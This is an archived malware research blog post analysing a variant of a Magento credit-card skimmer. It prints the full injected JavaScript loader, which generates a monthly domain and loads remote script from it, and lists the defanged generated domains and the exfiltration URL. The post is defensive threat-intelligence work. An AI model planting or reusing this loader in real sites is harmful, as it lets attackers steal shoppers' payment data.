Web Skimmer With a Domain Name Generator - Follow Up

By Denis Sinegubko

Published: 2020-04-23 · Archived: 2026-04-05 23:40:44 UTC

This note is a follow up to our recent post about a web skimmer that uses a dynamic domain name generating algorithm. This week, analyst Ben Martin found another variation of the same malware. The script looks very similar.

```
<script type="text/javascript">// <![CDATA[
var s2 = document.createElement('script');var h2 = ['https:',[' ',[['ql',Math.round(Math.sin((new Date
()).getMonth()+1)*1000)+100*((new Date()).getFullYear())].join(''),'pw'].join('.'),' '].join('/').trim
(),[location.host,'js'].join('.')].join('/').trim();
s2.setAttribute('src', h2);document.getElementsByTagName('head').item(0).appendChild(s2);
// ]]></script>
```

The changes here are pretty minor: it uses a "**ql**" domain prefix instead of "**qr**" and the **Math.sin()** function instead of **Math.cos()**. This new variation also uses the name of the compromised site as the script path on the generated malicious domain.

```
[location.host,'js'].join('.')
```

Otherwise, the idea is identical — the generated domain names are based on the current month and year. As seen in the original post, the domains for March through December of 2020 are already registered.

```
March ql202141[.]pw
April ql201243[.]pw
May ql201041[.]pw
June ql201721[.]pw
```

```
July ql202657[.]pw
August ql202989[.]pw
September ql202412[.]pw
October ql201456[.]pw
November ql201000[.]pw
December ql201463[.]pw
```

All of these domains were registered on **March 13th, 2020** within one minute by a user with the email valentinakrudyanova@yandex.ru. Domains from the original post were registered on March 18th, 2020, indicating that this **“ql”** variation is a predecessor for the **“qr”** campaign.

A URL scan indicates that this variant has been in use since mid-March: **ql202141.]pw** domain.

The obfuscated scripts served by the generated domains are web skimmers similar to what we described in the previous post. In this case, they send stolen data to **hxxps://mykada[.]com/js/ar/ar7938.php**, a domain previously mentioned in a February post by Marco Ramilli. Back then, the malware was also found to be using exfiltration URLs like **hxxps://mykada[.]com/js/ar/ar2497.php**.

If you believe your Magento website has been infected, you can refer to our hacked Magento guide for step-by-step instructions on how to remove malware and harden a compromised environment.

Denis Sinegubko

Denis Sinegubko is Sucuri’s Senior Malware Researcher who joined the company in 2013. Denis' main responsibilities include researching emerging threats and creating signatures for SiteCheck. The founder of UnmaskParasites, his professional experience covers over 20 years of programming and information security. When Denis isn’t analyzing malware, you might not find him online at all. Connect with him on Twitter.

Related Tags

- Black Hat Tactics,
- Credit Card Stealers,
- Labs Note,
- Obfuscation,
- Skimmer